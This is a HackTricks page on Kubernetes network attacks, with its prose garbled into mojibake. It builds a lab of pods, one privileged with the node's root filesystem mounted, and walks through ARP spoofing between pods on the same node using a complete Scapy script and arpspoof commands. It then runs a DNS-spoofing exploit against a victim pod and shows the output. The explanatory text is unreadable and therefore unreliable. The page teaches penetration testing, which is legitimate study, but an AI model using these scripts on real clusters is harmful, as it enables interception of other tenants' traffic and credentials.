Kubernetes Network Attacks

Support HackTricks

Introduction

Kubernetes рдореЗрдВ, рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ рд╕рднреА рдХрдВрдЯреЗрдирд░реЛрдВ рдХреЗ рдмреАрдЪ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рд╣реА рдиреЛрдб рдкрд░ рд╕реНрдерд┐рдд рд╣реИрдВред рдпрд╣ рдирд╛рдорд╕реНрдерд╛рди рднрд┐рдиреНрдирддрд╛рдУрдВ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдиреЗрдХреНрдЯрд┐рд╡рд┐рдЯреА рд▓реЗрдпрд░ 2 (рдИрдерд░рдиреЗрдЯ) рддрдХ рдлреИрд▓реА рд╣реБрдИ рд╣реИред рдирддреАрдЬрддрди, рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░рдгрд╛рд▓реА рдХреЛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрд╣ рдПрдХ рджреБрд╖реНрдЯ рдХрдВрдЯреЗрдирд░ рдХреЗ рд▓рд┐рдП рдПрдХ ARP рд╕реНрдкреВрдлрд┐рдВрдЧ рд╣рдорд▓реЗ рдХреЛ рдЕрдиреНрдп рдХрдВрдЯреЗрдирд░реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдЦреЛрд▓рддрд╛ рд╣реИ рдЬреЛ рдЙрд╕реА рдиреЛрдб рдкрд░ рд╕реНрдерд┐рдд рд╣реИрдВред рдРрд╕реЗ рд╣рдорд▓реЗ рдХреЗ рджреМрд░рд╛рди, рджреБрд╖реНрдЯ рдХрдВрдЯреЗрдирд░ рдзреЛрдЦреЗ рд╕реЗ рдЕрдиреНрдп рдХрдВрдЯреЗрдирд░реЛрдВ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

ARP рд╕реНрдкреВрдлрд┐рдВрдЧ рд╣рдорд▓реЛрдВ рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЧрд▓рдд ARP (рдПрдбреНрд░реЗрд╕ рд░рд┐рдЬрд╝реЙрд▓реНрдпреВрд╢рди рдкреНрд░реЛрдЯреЛрдХреЙрд▓) рд╕рдВрджреЗрд╢ рднреЗрдЬрдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд╣рдорд▓рд╛рд╡рд░ рдХреЗ MAC рдкрддреЗ рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдПрдХ рд╡реИрдз рдХрдВрдкреНрдпреВрдЯрд░ рдпрд╛ рд╕рд░реНрд╡рд░ рдХреЗ IP рдкрддреЗ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред рдРрд╕реЗ рд╣рдорд▓реЗ рдХреЗ рд╕рдлрд▓ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рдж, рд╣рдорд▓рд╛рд╡рд░ рдбреЗрдЯрд╛ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ, рд╕рдВрд╢реЛрдзрд┐рдд рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЯреНрд░рд╛рдВрдЬрд┐рдЯ рдореЗрдВ рд░реЛрдХ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╣рдорд▓рд╛ OSI рдореЙрдбрд▓ рдХреА рд▓реЗрдпрд░ 2 рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ Kubernetes рдореЗрдВ рдЗрд╕ рд╕реНрддрд░ рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХрдиреЗрдХреНрдЯрд┐рд╡рд┐рдЯреА рд╕реБрд░рдХреНрд╖рд╛ рдЪрд┐рдВрддрд╛рдУрдВ рдХреЛ рдЙрдард╛рддреА рд╣реИред

рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ 4 рдорд╢реАрдиреЗрдВ рдмрдирд╛рдИ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╣реИрдВ:

  • ubuntu-pe: рдиреЛрдб рдкрд░ рднрд╛рдЧрдиреЗ рдФрд░ рдореЗрдЯреНрд░рд┐рдХреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдорд╢реАрди (рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ)

  • ubuntu-attack: рджреБрд╖реНрдЯ рдХрдВрдЯреЗрдирд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ

  • ubuntu-victim: рд╢рд┐рдХрд╛рд░ рдорд╢реАрди kube-system рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ

  • mysql: рд╢рд┐рдХрд╛рд░ рдорд╢реАрди рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Basic Kubernetes Networking

рдпрджрд┐ рдЖрдк рдпрд╣рд╛рдВ рдкреНрд░рд╕реНрддреБрдд рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ рд╡рд┐рд╖рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рд╕рдВрджрд░реНрднреЛрдВ рдкрд░ рдЬрд╛рдПрдВред

ARP

рд╕рд╛рдорд╛рдиреНрдпрдд: рдиреЛрдб рдХреЗ рдЕрдВрджрд░ рдкреЙрдб-рд╕реЗ-рдкреЙрдб рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ рдПрдХ рдмреНрд░рд┐рдЬ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИ рдЬреЛ рд╕рднреА рдкреЙрдбреНрд╕ рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИред рдЗрд╕ рдмреНрд░рд┐рдЬ рдХреЛ тАЬcbr0тАЭ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред (рдХреБрдЫ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдЕрдкрдиреА рдЦреБрдж рдХреА рдмреНрд░рд┐рдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВрдЧреЗред) cbr0 ARP (рдПрдбреНрд░реЗрд╕ рд░рд┐рдЬрд╝реЙрд▓реНрдпреВрд╢рди рдкреНрд░реЛрдЯреЛрдХреЙрд▓) рд╕рдорд╛рдзрд╛рди рдХреЛ рднреА рд╕рдВрднрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред рдЬрдм рдПрдХ рдЗрдирдХрдорд┐рдВрдЧ рдкреИрдХреЗрдЯ cbr0 рдкрд░ рдЖрддрд╛ рд╣реИ, рддреЛ рдпрд╣ ARP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЧрдВрддрд╡реНрдп MAC рдкрддреЗ рдХреЛ рд╣рд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣ рддрдереНрдп рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдПрдХ рд╣реА рдиреЛрдб рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рд╣рд░ рдкреЙрдб рдХрд┐рд╕реА рдЕрдиреНрдп рдкреЙрдб рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ (рдиреЗрдорд╕реНрдкреЗрд╕ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛) рдПрдерд░рдиреЗрдЯ рд╕реНрддрд░ (рд▓реЗрдпрд░ 2) рдкрд░ред

рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣реА рдиреЛрдб рдореЗрдВ рдкреЙрдбреНрд╕ рдХреЗ рдмреАрдЪ ARP Spoofing рд╣рдорд▓реЗ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

DNS

рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЖрдк рдЖрдорддреМрд░ рдкрд░ 1 (рдпрд╛ рдЕрдзрд┐рдХ) DNS рд╕реЗрд╡рд╛рдПрдВ рдЪрд▓рддреА рд╣реБрдИ рдкрд╛рдПрдВрдЧреЗ рдЬреЛ рдЖрдорддреМрд░ рдкрд░ kube-system рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рд╣реЛрддреА рд╣реИрдВ:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

рдкрд┐рдЫрд▓реА рдЬрд╛рдирдХрд╛рд░реА рдореЗрдВ рдЖрдк рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╕реЗрд╡рд╛ рдХрд╛ IP 10.96.0.10 рд╣реИ рд▓реЗрдХрд┐рди рд╕реЗрд╡рд╛ рдЪрд▓рд╛ рд░рд╣реЗ рдкреЛрдб рдХрд╛ IP 172.17.0.2 рд╣реИред

рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рднреА рдкреЛрдб рдХреЗ рдЕрдВрджрд░ DNS рдкрддреЗ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рдкрд╛рдПрдВрдЧреЗ:

cat /etc/resolv.conf
nameserver 10.96.0.10

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдкреЙрдб рдХреЛ рдЙрд╕ рдкрддрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдирд╣реАрдВ рдкрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдкреЙрдб рд░реЗрдВрдЬ 172.17.0.10/26 рд╣реИред

рдЗрд╕рд▓рд┐рдП, рдкреЙрдб DNS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ 10.96.0.10 рдХреЗ рдкрддреЗ рдкрд░ рднреЗрдЬреЗрдЧрд╛, рдЬрд┐рд╕реЗ cbr0 рджреНрд╡рд╛рд░рд╛ 172.17.0.2 рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ рдкреЙрдб рдХрд╛ DNS рдЕрдиреБрд░реЛрдз рд╣рдореЗрд╢рд╛ рдмреНрд░рд┐рдЬ рдХреА рдУрд░ рдЬрд╛рдПрдЧрд╛ рд╕реЗрд╡рд╛ IP рдХреЛ рдЕрдВрдд рдмрд┐рдВрджреБ IP рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рднрд▓реЗ рд╣реА DNS рд╕рд░реНрд╡рд░ рдкреЙрдб рдХреЗ рд╕рдорд╛рди рдЙрдкрдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╣реЛред

рдпрд╣ рдЬрд╛рдирдХрд░, рдФрд░ рдпрд╣ рдЬрд╛рдирдХрд░ рдХрд┐ ARP рд╣рдорд▓реЗ рд╕рдВрднрд╡ рд╣реИрдВ, рдПрдХ рдкреЙрдб рдПрдХ рдиреЛрдб рдореЗрдВ рдЙрдкрдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдкреЙрдб рдФрд░ рдмреНрд░рд┐рдЬ рдХреЗ рдмреАрдЪ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдФрд░ DNS рд╕рд░реНрд╡рд░ рд╕реЗ DNS рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдЧрд╛ (DNS Spoofing).

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ DNS рд╕рд░реНрд╡рд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рдорд╛рди рдиреЛрдб рдореЗрдВ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдХрд┐рд╕реА рднреА рдкреЙрдб рдХреЗ рд╕рднреА DNS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ (DNS рд╕рд░реНрд╡рд░ рдФрд░ рдмреНрд░рд┐рдЬ рдХреЗ рдмреАрдЪ) рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рд╕рдорд╛рди рдиреЛрдб рдореЗрдВ рдкреЙрдбреНрд╕ рдореЗрдВ ARP Spoofing

рд╣рдорд╛рд░рд╛ рд▓рдХреНрд╖реНрдп рд╣реИ рдХрд┐ рдХрдо рд╕реЗ рдХрдо ubuntu-victim рд╕реЗ mysql рддрдХ рдХреА рд╕рдВрдЪрд╛рд░ рдЪреЛрд░реА рдХрд░реЗрдВред

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рд╣реА рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрджрд┐ рдЖрдк DNS рд╕рд░реНрд╡рд░ рдкреЙрдб рдХреЗ рдЙрд╕реА рдиреЛрдб рдореЗрдВ рдПрдХ рдкреЙрдб рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк MitM рдХреЗ рд╕рд╛рде ARPSpoofing рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреНрд░рд┐рдЬ рдФрд░ DNS рдкреЙрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рднреА DNS рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдЯреВрд▓ рдФрд░ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рд╣реИ https://github.com/danielsagi/kube-dnsspoof/

рд╣рдорд╛рд░реЗ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдкреЙрдб рдореЗрдВ рдЯреВрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдПрдХ **рдлрд╛рдЗрд▓ рдирд╛рдо hosts ** рдмрдирд╛рдПрдВ рдЬрд┐рд╕рдореЗрдВ рдЖрдк рдЬрд┐рди рдбреЛрдореЗрди рдХреЛ рд╕реНрдкреВрдл рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рд╡реЗ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ:

cat hosts
google.com. 1.1.1.1

ubuntu-victim рдорд╢реАрди рдкрд░ рд╣рдорд▓рд╛ рдХрд░реЗрдВ:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

рдпрджрд┐ рдЖрдк рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ DNS рд╕реНрдкреВрдлрд┐рдВрдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдк рдмрд╕ DNS рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ src IP рджреБрд╖реНрдЯ рдкреЙрдб рдХрд╛ IP рдкрддрд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЗрд╕реЗ рд╕реНрд╡реАрдХреГрдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЖрдкрдХреЛ рдЙрд╕ DNS рдХрд╛ рдирдпрд╛ DNS рдкреИрдХреЗрдЯ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреАрдбрд╝рд┐рдд DNS рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ (рдЬреЛ рдХреБрдЫ рдРрд╕рд╛ рд╣реИ рдЬреИрд╕реЗ 172.16.0.2, рди рдХрд┐ 10.96.0.10, рдпрд╣ K8s DNS рд╕реЗрд╡рд╛ IP рд╣реИ рдФрд░ рди рдХрд┐ DNS рд╕рд░реНрд╡рд░ IP, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдкрд░рд┐рдЪрдп рдореЗрдВ рд╣реИ)ред

рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛

рдЙрдкрдХрд░рдг Mizu рдПрдХ рд╕рд░рд▓ рд▓реЗрдХрд┐рди рд╢рдХреНрддрд┐рд╢рд╛рд▓реА API рдЯреНрд░реИрдлрд╝рд┐рдХ рд╡реНрдпреВрдЕрд░ рд╣реИ рдЬреЛ Kubernetes рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд╕реВрдХреНрд╖реНрдо рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдмреАрдЪ рд╕рднреА API рд╕рдВрдЪрд╛рд░ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЖрдк рдЕрдкрдиреЗ рдбрд┐рдмрдЧ рдФрд░ рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХреЗрдВред рдпрд╣ рдЪрдпрдирд┐рдд рдкреЙрдб рдореЗрдВ рдПрдЬреЗрдВрдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рдЙрдирдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░реЗрдЧрд╛ рдФрд░ рдЖрдкрдХреЛ рдПрдХ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдореЗрдВ рджрд┐рдЦрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЙрдЪреНрдЪ K8s рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рдФрд░ рдпрд╣ рдмрд╣реБрдд рдЫрд┐рдкрд╛ рд╣реБрдЖ рдирд╣реАрдВ рд╣реИ)ред

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated